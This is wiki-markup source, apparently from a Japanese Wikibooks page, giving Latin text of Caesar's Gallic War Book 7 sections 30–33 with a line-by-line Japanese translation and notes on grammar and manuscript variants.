**同時に、彼の断言によって&lt;small&gt;（ガッリア人たちは）&lt;/small&gt;ほかの諸部族を合流させることについて希望を抱いていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in [[wikt:en:spes#Latin|spem]] [[wikt:en:venio#Latin|venire]]「希望を抱くようになる」。）&lt;/span&gt;
*[[wikt:en:primum#Adverb|primum]]&lt;nowiki&gt;que&lt;/nowiki&gt; eo tempore [[wikt:en:Galli#Latin:_Gauls|Galli]] [[wikt:en:castra#Latin|castra]] [[wikt:en:munio#Latin|munire]] [[wikt:en:instituerunt#Latin|instituerunt]], 
**そのときに初めて、ガッリア人たちは陣営の防備を固めることに着手した。
*et &lt;u&gt;sic&lt;/u&gt; &lt;u&gt;sunt&lt;/u&gt; animo &lt;u&gt;consternati&lt;/u&gt;, homines [[wikt:en:insuetus#Latin|insueti]] [[wikt:en:labor#Latin|laboris]], 
**&lt;small&gt;（陣営の防備という）&lt;/small&gt;労苦に慣れていない人々が、&lt;u&gt;気持ちが狼狽していたので、&lt;/u&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sic]] ～, [[wikt:en:ut#Conjunction|ut]] …「～であるので、その結果…ほどだった」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の sunt は主要写本 &amp;omega; の記述だが、erant とする修正提案もある。&lt;br&gt;　　　　sunt なら未完了過去 (sunt consternati)、erant なら過去完了 (erant consternati) になる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:consternati#Latin|consternati]] は主要写本 &amp;omega; の記述だが、&lt;br&gt;　　　　　　　　 ''[[ガリア戦記/注解編/写本と校訂版#Nipperdey|Nipperdey]]'' は [[wikt:en:confirmati#Latin|confirmati]] と修正提案している。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：写本の読みは sunt [[wikt:en:consternati#Latin|consternati]] 「（彼らは）恐怖に陥っていた、混乱していた。」だが、&lt;br&gt;　　　　修正読みでは sunt [[wikt:en:confirmati#Latin|confirmati]] 「（彼らは）励まされた」。）&lt;/span&gt;
*&lt;u&gt;ut&lt;/u&gt; omnia, quae [[wikt:en:imperarentur#Latin|imperarentur]], sibi [[wikt:en:patiendus#Latin|patienda]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; &lt;u&gt;et perferenda &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;&lt;/u&gt; [[wikt:en:existimarent#Latin|existimarent]].
**自分たちにとって、命令されたことすべてを耐えるべきであり、&lt;u&gt;成就するべきである&lt;/u&gt;と考えるに至ったほどであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の et [[wikt:en:perferenda#Latin|perferenda]] (esseは省略されている) は&amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===31節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/31節]]　{{進捗|00%|2026-08-29}}&lt;/span&gt;
;ウェルキンゲトリークスがほかの諸部族を勧誘し、兵力を補充する

:　
;　　　ウェルキンゲトリークスが、さらに多くの部族に同盟を誘いかける
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Nec minus, quam est [[wikt:en:pollicitus#Latin|pollicitus]], 
**約束したことに劣らず、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:nec#Latin|nec]] [[wikt:en:minus#Adverb_4|minus]] [[wikt:en:quam#Latin|quam]] ～「～に劣らず」。）&lt;/span&gt;
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] animo [[wikt:en:laborabat#Latin|laborabat]], ut reliquas [[wikt:en:civitas#Latin|civitates]] [[wikt:en:adiungeret#Latin|adiungeret]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ほかの諸部族を加盟させるように、心から努力した。
*atque &lt;u&gt;earum principes donis pollicitationibusque&lt;/u&gt; [[wikt:en:adliciebat#Latin|adliciebat]]. 
**それらの領袖たちに贈物を約束することによって、誘い込もうとしていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では earum [[wikt:en:princeps#Noun_3|principes]] [[wikt:en:donum#Latin|donis]] [[wikt:en:pollicitatio#Latin|pollicitationibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では eas donis pollicitationibus となっている。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Huic rei [[wikt:en:idoneus#Latin|idoneos]] homines [[wikt:en:deligebat#Latin|deligebat]], 
**この事&lt;small&gt;〔同盟に誘うこと〕&lt;/small&gt;に適切な人物たちを&lt;small&gt;（ウェルキンゲトリークスが）&lt;/small&gt;選び出して、
*quorum [[wikt:en:quisque#Latin|quisque]] aut [[wikt:en:oratio#Latin|oratione]] [[wikt:en:subdolus#Latin|subdola]] aut [[wikt:en:amicitia#Latin|amicitia]] 
**その者たちのおのおのは、巧妙な演説により、あるいは友情により、
*[[wikt:en:facillime#Latin|facillime]] &lt;u&gt;capere&lt;/u&gt; posset. 
**かなり容易に&lt;small&gt;（同盟者を）&lt;/small&gt;得ることができた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系写本･写本Lでは [[wikt:en:capere#Latin|capere]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:capi#Latin|capi]] となっている。）&lt;/span&gt;

:　
;　　　アウァーリクムからの逃亡者たちに、武具と衣服を支給する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; &lt;span style=&quot;color:#009900;&quot;&gt;[eos]&lt;/span&gt; qui [[wikt:en:Avaricum#Latin|Avarico]] [[wikt:en:expugnatus#Latin|expugnato]] [[wikt:en:refugerant#Latin|refugerant]], 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;アウァーリクムが攻略されたので逃げて来ていた者たちに、
*[[wikt:en:armandus#Latin|armandos]] [[wikt:en:vestiendus#Latin|vestiendos]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:curat#Latin|curat]]; 
**武装させられ、服を着せられるように、手配する。
:　
;　　　同盟部族に徴集する兵員の数と集まる期日を指示する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:simul#Latin|simul]], ut [[wikt:en:deminutus#Latin|deminutae]] [[wikt:en:copiae#Latin|copiae]] [[wikt:en:redintegrarentur#Latin|redintegrarentur]], 
**同時に、減り衰えた軍勢が補充されるように、
*[[wikt:en:imperat#Latin|imperat]] [[wikt:en:certus#Latin|certum]] &lt;u&gt;numerum&lt;/u&gt; militum civitatibus, &lt;u&gt;quem&lt;/u&gt; et &lt;u&gt;quam ante diem&lt;/u&gt; in castra [[wikt:en:adduci#Latin|adduci]] [[wikt:en:velit#Latin|velit]], 
**諸部族に、兵の一定の&lt;u&gt;数&lt;/u&gt;を&lt;u&gt;どれほど&lt;/u&gt;、かつ、&lt;u&gt;いつの日の前までに&lt;/u&gt;陣営に連れて来ることを欲しているかを指図し、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:qui#Determiner|quem]] [[wikt:en:numerus#Latin|numerum]] 「どれほどの数を」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:qui#Determiner|quam]] ante [[wikt:en:dies#Latin|diem]] 「いつの日の前までに」。）&lt;/span&gt;
*[[wikt:en:sagittarius#Noun|sagittarios]]&lt;u&gt;que&lt;/u&gt; omnes, quorum erat [[wikt:en:permagnus#Latin|permagnus]] &lt;u&gt;numerus in Gallia&lt;/u&gt;, [[wikt:en:conquiri#Latin|conquiri]] et ad se [[wikt:en:mitti#Latin|mitti]] [[wikt:en:iubet#Latin|iubet]]. 
**ガッリアにかなり大勢がいた弓兵のすべてを、徴募して自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;のもとへ派遣することを命じる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の語順は numerus in Gallia で、&lt;br&gt;　　　　　　　　　&amp;beta;系写本の語順は in Gallia numerus となっている。）&lt;/span&gt;
*His rebus celeriter id, quod [[wikt:en:Avaricum#Latin|Avarici]] [[wikt:en:deperierat#Latin|deperierat]], [[wikt:en:expletur#Latin|expletur]]. 
**これらの事により、速やかに、アウァーリクムで壊滅していたそれら&lt;small&gt;（の軍勢）&lt;/small&gt;が補充される。
:　
;　　　ニティオブロゲース族の王テウトマトゥスが、騎兵隊らとともにウェルキンゲトリークスに合流する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:interim#Latin|Interim]] [[wikt:en:Teutomatus#Latin|Teutomatus]], [[wikt:en:Ollovico#Latin|Olloviconis]] filius, rex &lt;u&gt;Nitiobrogum&lt;/u&gt;, 
**その間に、オッロウィコーの息子で、ニティオブロゲース族の王であるテウトマトゥスが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では Nitiobrogum だが、&lt;br&gt;　　　　　　　　　写本Uの一部では [[wikt:en:Nitiobriges#Latin|Nitiobrigum]] となっている。）&lt;/span&gt;
*cuius pater ab [[wikt:en:senatus#Latin|senatu]] nostro amicus erat [[wikt:en:appellatus#Latin|appellatus]], 
**その父&lt;small&gt;〔オッロウィコー〕&lt;/small&gt;は、我が方&lt;small&gt;〔ローマ人〕&lt;/small&gt;の[[w:元老院 (ローマ)|元老院]]から友人と呼ばれていたのだが、
*cum magno [[wikt:en:eques#Latin|equitum]] suorum numero et quos ex [[wikt:en:Aquitania#Latin|Aquitania]] [[wikt:en:conduxerat#Latin|conduxerat]] ad eum [[wikt:en:pervenit#Etymology_2|pervenit]].
**自らの騎兵の多数およびアクィーターニアから募っていた者たちとともに、彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;のもとへ到着した。

&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

==ゲルゴウィア攻略戦、ハエドゥイー族の離反==
===32節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/32節]]　{{進捗|00%|2026-09-23}}&lt;/span&gt;
;ハエドゥイー族内紛の危機

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar [[wikt:en:Avarici#Latin|Avarici]] complures dies [[wikt:en:commoratus#Latin|commoratus]] 
**カエサルは、アウァーリクムに幾日も留まって、
*[[wikt:en:summus#Latin|summam]]&lt;nowiki&gt;que&lt;/nowiki&gt; ibi [[wikt:en:copia#Latin|copiam]] [[wikt:en:frumentum#Latin|frumenti]] et reliqui [[wikt:en:commeatus#Latin:_noun|commeatus]] [[wikt:en:nactus#Latin|nactus]] 
**そこでかなり多量の糧食やほかの必需品を手に入れて、
*[[wikt:en:exercitus#Latin:_noun|exercitum]] ex [[wikt:en:labor#Latin:_work|labore]] atque [[wikt:en:inopia#Latin:_noun|inopia]] &lt;u&gt;reficit&lt;/u&gt;. 
**軍隊を労苦や欠乏から回復させた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系･&amp;beta;系写本では [[wikt:en:reficit#Latin|reficit]]&lt;sub&gt;&amp;nbsp;(現在形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;phi;系写本では [[wikt:en:refecit#Latin|refecit]]&lt;sub&gt;&amp;nbsp;(完了形)&lt;/sub&gt; となっている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Iam [[wikt:en:prope#Adverb|prope]] [[wikt:en:hiems#Latin|hieme]] [[wikt:en:confectus#Latin|confecta]], 
**すでに、ほぼ冬は過ぎ去り、
*cum ipso anni tempore ad [[wikt:en:gerendus#Latin|gerendum]] bellum [[wikt:en:vocaretur#Latin|vocaretur]] et ad hostem [[wikt:en:proficisci#Latin|proficisci]] [[wikt:en:constituisset#Latin|constituisset]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;まさにその時季に戦争を遂行するために呼び寄せられて、敵の方へ発つことを決意していたときに、
*&lt;u&gt;sive&lt;/u&gt; eum ex [[wikt:en:palus#Latin|paludibus]] [[wikt:en:silva#Latin|silvis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:elicio#Latin|elicere]] &lt;u&gt;sive&lt;/u&gt; [[wikt:en:obsidio#Latin|obsidione]] [[wikt:en:premo#Latin|premere]] [[wikt:en:posset#Latin|posset]], 
**&lt;u&gt;あるいは&lt;/u&gt;&lt;small&gt;（敵を）&lt;/small&gt;沼地や森林から誘い出せるか、&lt;u&gt;あるいは&lt;/u&gt;包囲により圧倒することができるか、というときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：sive ～ sive …「あるいは～、あるいは…」）&lt;/span&gt;
*[[wikt:en:legatus#Latin:_noun|legati]] ad eum [[wikt:en:princeps#Latin:_noun|principes]] [[wikt:en:Haedui#Latin|Haeduorum]] [[wikt:en:veniunt#Latin|veniunt]] 
**[[w:ハエドゥイ族|ハエドゥイー族]]の領袖たちが使節として彼&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへやって来る。
*[[wikt:en:oratum#Latin:_supine|oratum]], ut maxime [[wikt:en:necessarius#Latin:_unavoidable|necessario]] tempore [[wikt:en:civitas#Latin|civitati]] [[wikt:en:subveniat#Latin|subveniat]]&lt;!--;--&gt;: 
**きわめて緊急の時に、部族を助けてくれるように、と頼むために。

:　
;　　　ハエドゥイー族の救援要請（以下、間接話法）
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:summus#Latin|summo]] esse in [[wikt:en:periculum#Latin|periculo]] rem, 
**事態は最大の危機にある。
*quod, cum [[wikt:en:singulus#Latin|singuli]] [[wikt:en:magistratus#Latin|magistratus]] [[wikt:en:antiquitus#Latin|antiquitus]] [[wikt:en:creari#Latin|creari]] atque [[wikt:en:regius#Latin|regiam]] [[wikt:en:potestas#Latin|potestatem]] &lt;u&gt;annum&lt;/u&gt; [[wikt:en:obtineo#Latin|obtinere]] [[wikt:en:consuessent#Latin|consuessent]], 
**──というのは、昔から一人ずつの統領が選出されて、一年ごとに支配権力に就くことが常であったのに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第1巻#16節|第1巻16節]]によれば、ウェルゴブレトゥス [[w:la:Vergobretus|Vergobretus]]という最高官職が毎年選ばれて大権を司る。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:annum#Latin|annum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:annuam#Adjective|annuam]] となっている。）&lt;/span&gt;
*duo [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:gerant#Latin|gerant]] 
**2名が統領を司り、
*et se [[wikt:en:uterque#Latin|uterque]] eorum legibus &lt;u&gt;creatum esse&lt;/u&gt; [[wikt:en:dicat#Latin:_speak|dicat]]. 
**彼らの双方ともに自分は法により&lt;small&gt;〔合法的に〕&lt;/small&gt;選出されたのであると言っているのだから──。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:creatus#Latin|creatum]] esse だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では esse は省かれている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
{{wikipedia|en:Convictolitavis}}
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Horum esse alterum [[wikt:en:Convictolitavis#Latin|Convictolitavem]], [[wikt:en:florens#Latin|florentem]] et [[wikt:en:inlustris#Latin|inlustrem]] [[wikt:en:adulescens#Noun|adulescentem]]&lt;!--,--&gt;; 
**彼らの一方は、コンウィクトリタウィスで、声望があり、秀でた青年である。
*alterum [[wikt:en:Cotus#Latin|Cotum]], [[wikt:en:antiquissimus#Latin|antiquissima]] familia [[wikt:en:natus#Latin:_born|natum]] 
**他方は、コトゥスで、とても古くからの家系に生まれて、
*atque ipsum hominem summae [[wikt:en:potentia#Latin|potentiae]] et magnae [[wikt:en:cognatio#Latin|cognationis]], 
**自身も最大勢力と多くの縁戚関係をもつ人物であり、
*cuius frater Valetiacus proximo anno eundem [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:gesserit#Latin|gesserit]]. 
**その兄弟ウァレティアクスは前年に同じ統領を司っていたのである。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Civitatem esse omnem in [[wikt:en:arma#Latin|armis]]; 
**部族は皆が武装している。
*[[wikt:en:divisus#Latin|divisum]] [[wikt:en:senatus#Latin|senatum]], divisum [[wikt:en:populus#Latin:_people|populum]], &lt;u&gt;suas&lt;/u&gt; [[wikt:en:cuiusque#Latin|cuiusque]] eorum [[wikt:en:clientela#Latin|clientelas]]. 
**評議会も分裂し、民衆も分裂し、彼ら&lt;small&gt;〔2名〕&lt;/small&gt;の&lt;small&gt;（それぞれの）&lt;/small&gt;庇護民となっている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の suas は主要写本&amp;omega;の記述だが、より劣った写本では in suas となっている。）&lt;/span&gt;
*[[wikt:en:quodsi#Latin|Quodsi]] [[wikt:en:diutius#Latin|diutius]] [[wikt:en:alatur#Latin|alatur]] [[wikt:en:controversia#Latin|controversia]], 
**もしこれ以上、紛争が進められれば、
*fore uti pars cum parte civitatis [[wikt:en:confligat#Latin|confligat]]. 
**部族の派閥と派閥が激突することになるであろう。
*Id ne [[wikt:en:accidat#Etymology_1|accidat]], [[wikt:en:positus#Latin|positum]] in eius [[wikt:en:diligentia#Latin|diligentia]] atque [[wikt:en:auctoritas#Latin|auctoritate]].
**それが起こらないかは、彼（カエサル）の入念さと影響力にかかっている。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===33節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/33節]]　{{進捗|00%|2026-10-04}}&lt;/span&gt;
;カエサルがハエドゥイー族の権力をコンウィクトリタウィスに与える

:　
;　　　カエサルが、ハエドゥイー族の内紛を危惧する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar, &lt;u&gt;etsi&lt;/u&gt; a bello atque hoste [[wikt:en:discedo#Latin|discedere]] [[wikt:en:detrimentosus#Latin|detrimentosum]] esse [[wikt:en:existimabat#Latin|existimabat]], 
**カエサルは、戦争や敵から離れることは損害をもたらすものである、と考えていたのではあるが、
*&lt;u&gt;tamen&lt;/u&gt; non [[wikt:en:ignorans#Latin|ignorans]], [[wikt:en:quantus#Latin|quanta]] ex [[wikt:en:dissensionibus#Latin|dissensionibus]] [[wikt:en:incommodum#Noun|incommoda]] [[wikt:en:oriri#Latin|oriri]] [[wikt:en:consuessent#Latin|consuessent]], 
**しかしながら、[[wikt:ja:内訌|内訌]]からどれほどの災厄が生じることが常であるか、知らないではなかったし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～, [[wikt:en:tamen#Latin|tamen]] …「～ではあるが、しかしながら…」）&lt;/span&gt;
*ne [[wikt:en:tantus#Latin|tanta]] et [[wikt:en:tam#Latin|tam]] [[wikt:en:coniunctus#Latin:_participle|coniuncta]] [[wikt:en:populus#Latin|populo]] [[wikt:en:Romanus#Adjective|Romano]] [[wikt:en:civitas#Latin|civitas]], 
**──これほど大きく、これほどローマ人民と協同している&lt;small&gt;（ハエドゥイーの）&lt;/small&gt;{{ruby|部族国家|キーウィタース}}が、
*quam ipse semper [[wikt:en:aluisset#Latin|aluisset]] [[wikt:en:omnis#Latin|omnibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; rebus [[wikt:en:ornasset#Latin|ornasset]], 
**彼らのことを&lt;small&gt;（カエサル）&lt;/small&gt;自身は常に助成して、かつあらゆる事柄で敬意を表していたのだが、
*ad [[wikt:en:vis#Latin|vim]] atque [[wikt:en:arma#Latin|arma]] [[wikt:en:descenderet#Latin|descenderet]], 
**&lt;small&gt;（彼らが内紛という）&lt;/small&gt;暴力や戦乱に沈み込まないように、
*atque ea pars, quae [[wikt:en:minus#Latin:_adverb|minus]] sibi [[wikt:en:confideret#Latin|confideret]], [[wikt:en:auxilia#Latin|auxilia]] a [[wikt:en:Vercingetorix#Latin|Vercingetorige]] [[wikt:en:arcesseret#Latin|arcesseret]], 
**かつ、自分たちにとって劣勢だと確信している一派が[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の支援を呼び寄せないように──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne ～ civitas, ～ descenderet, ～ arcesseret「～部族が、～沈まないように、～招かないように」）&lt;/span&gt;
*huic rei [[wikt:en:praevertendus#Latin|praevertendum]] [[wikt:en:existimavit#Latin|existimavit]], 
**この事柄は&lt;small&gt;（戦争遂行よりも）&lt;/small&gt;優先されるべき、と考えた。
:　
;　　　ハエドゥイー族の内紛を沙汰すべく、カエサル自らが赴く
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; et, quod [[wikt:en:lex#Latin|legibus]] [[wikt:en:Haedui#Latin|Haeduorum]] iis, qui summum [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:obtinerent#Latin|obtinerent]], [[wikt:en:excedo#Latin|excedere]] ex finibus non [[wikt:en:liceret#Latin|liceret]], 
**──というのは、[[w:ハエドゥイ族|ハエドゥイー族]]の法により、最高官職に就いている者は領土から出ることを許されないので──
*ne [[wikt:en:aliquid#Latin:_pronoun|quid]] de [[wikt:en:ius#Latin:_justice|iure]] aut de [[wikt:en:lex#Latin|legibus]] eorum [[wikt:en:deminuisse#Latin|deminuisse]] [[wikt:en:videretur#Latin|videretur]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;彼らの法令あるいは法制について何ら軽視したとは思われないように、

[[画像:FR-58-Decize29.JPG|thumb|right|250px|デケティア（[[w:la:Decetia|Decetia]]）すなわち現在のドスィーズ（[[w:fr:Decize|Decize]]）の景観。[[w:ハエドゥイ族|ハエドゥイー族]]の版図であった[[w:ニエーヴル県|ニエーヴル県]]の南部にあり、リゲル川（現[[w:ロワール川|ロワール川]]）のほとりに位置している。]]

*ipse in [[wikt:en:Haedui#Latin|Haeduos]] [[wikt:en:proficisci#Latin|proficisci]] [[wikt:en:statuit#Latin|statuit]] 
**&lt;small&gt;（カエサル）&lt;/small&gt;自身がハエドゥイー族のもとに出発することを決心した。
*[[wikt:en:senatus#Latin|senatum]]&lt;nowiki&gt;que&lt;/nowiki&gt; omnem et &lt;u&gt;quos inter [[wikt:en:controversia#Latin|controversia]] [[wikt:en:esset#Latin:_be|esset]]&lt;/u&gt; 
**かつ、&lt;u&gt;評議会&lt;/u&gt;の全員、および紛争が介在しているところの者たちを
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：部族国家の合議制統治機関を、カエサルの『ガリア戦記』では&lt;br&gt;　　　　ローマの元老院になぞらえて [[wikt:en:senatus#Latin|senatus]] と呼んでいるが、&lt;br&gt;　　　　区別して「評議会」と訳す。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：quos inter ～ は、関係節の関係代名詞 quos が&lt;br&gt;　　　　　　　　　　　前置詞 inter の前に出ている語順。）&lt;/span&gt;
*ad se [[wikt:en:Decetia#Latin|Decetiam]] [[wikt:en:evocavit#Latin|evocavit]]. 
**デケティアの自分&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへ呼び出した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：デケティア [[w:la:Decetia|Decetia]] は、現在の[[w:en:Decize|Decize]] ドシーズ（ドゥスィズ&lt;ref&gt;Decize の発音は [[wikt:fr:Decize|Decize]] を参照せよ。&lt;/ref&gt;）であると考えられている。）&lt;/span&gt;

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Cum prope omnis civitas eo [[wikt:en:convenisset#Latin|convenisset]], [[wikt:en:doceretur#Latin|doceretur]]&lt;nowiki&gt;que&lt;/nowiki&gt; 
**部族のほぼすべての&lt;small&gt;（主だった）&lt;/small&gt;者たちがそこに集まっていたときに、&lt;small&gt;（以下のことが）&lt;/small&gt;報知された。
*[[wikt:en:paucus#Latin|paucis]] [[wikt:en:clam#Latin|clam]] [[wikt:en:convocatus#Latin|convocatis]] [[wikt:en:alius#Latin|alio]] loco, [[wikt:en:alius#Latin|alio]] tempore atque [[wikt:en:oportuerit#Latin|oportuerit]], 
**わずかな者たちが密かに、あるべきはずとは別の場所、別の時に呼び集められて、
*[[wikt:en:fratrem#Latin|fratrem]] a [[wikt:en:fratre#Latin|fratre]] [[wikt:en:renuntiatus#Latin|renuntiatum]] &lt;span style=&quot;color:#009900;&quot;&gt;[esse]&lt;/span&gt;, 
**兄により弟&lt;small&gt;（の就位）&lt;/small&gt;が告げられたというのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：前年に統領であった兄ウァレティアクスによって&lt;br&gt;　　　　弟コトゥスの統領への就位が告げられたということであろう。）&lt;/span&gt;
*&lt;span style=&quot;font-size:11pt;&quot;&gt;cum leges &lt;u&gt;duo&lt;/u&gt; ex una familia [[wikt:en:vivus#Latin|vivo]] [[wikt:en:utroque#Latin|utroque]] &lt;u&gt;non solum&lt;/u&gt; [[wikt:en:magistratus#Latin|magistratus]] [[wikt:en:creari#Latin|creari]] [[wikt:en:vetarent#Latin|vetarent]], &lt;u&gt;sed etiam&lt;/u&gt; in [[wikt:en:senatus#Latin|senatu]] esse [[wikt:en:prohiberent#Latin|prohiberent]],&lt;/span&gt; 
**&lt;span style=&quot;font-size:11pt;&quot;&gt;──法が、一家族の2名が双方とも存命中に、統領に選出されるのを禁じるだけでなく、&lt;u&gt;評議会&lt;/u&gt;にいることも禁じているのに──&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：non [[wikt:en:solum#Latin:_adverb|solum]] ～ [[wikt:en:sed#Latin|sed]] [[wikt:en:etiam#Latin|etiam]] …「～のみならず、…もまた」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;･&amp;beta;系写本や写本B･M･Sでは [[wikt:en:duo#Latin|duo]] だが、&lt;br&gt;　　　　　　　　　写本L･Nでは [[wikt:en:duos#Latin|duos]] となっている。）&lt;/span&gt;
*[[wikt:en:Cotus#Latin|Cotum]] [[wikt:en:imperium#Latin|imperium]] [[wikt:en:depono#Latin|deponere]] [[wikt:en:coegit#Latin|coegit]]&lt;!--,--&gt;; 
**（カエサルは）コトゥスに支配権を放棄することを強要した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:Convictolitavis#Latin|Convictolitavem]], qui per [[wikt:en:sacerdos#Latin|sacerdotes]] [[wikt:en:mos#Latin|more]] [[wikt:en:civitas#Latin|civitatis]] [[wikt:en:intermissus#Latin|intermissis]] [[wikt:en:magistratus#Latin|magistratibus]] [[wikt:en:esset#Latin:_be|esset]] [[wikt:en:creatus#Latin|creatus]], 
**コンウィクトリタウィスは、統領が空位になったときに、部族の規則により、&lt;u&gt;祭司&lt;/u&gt;を通じて選出されたので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ここでいう祭司 sacerdos が[[ガリア戦記 第6巻#13節|第6巻13節]]以下で説明された[[w:ドルイド|ドルイド]]と同じか否かは不詳である。）&lt;/span&gt;
*[[wikt:en:potestas#Latin|potestatem]] [[wikt:en:obtineo#Latin|obtinere]] [[wikt:en:iussit#Latin|iussit]].
**&lt;small&gt;（カエサルは彼に）&lt;/small&gt;権力の座に就くことを命じた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===34節===
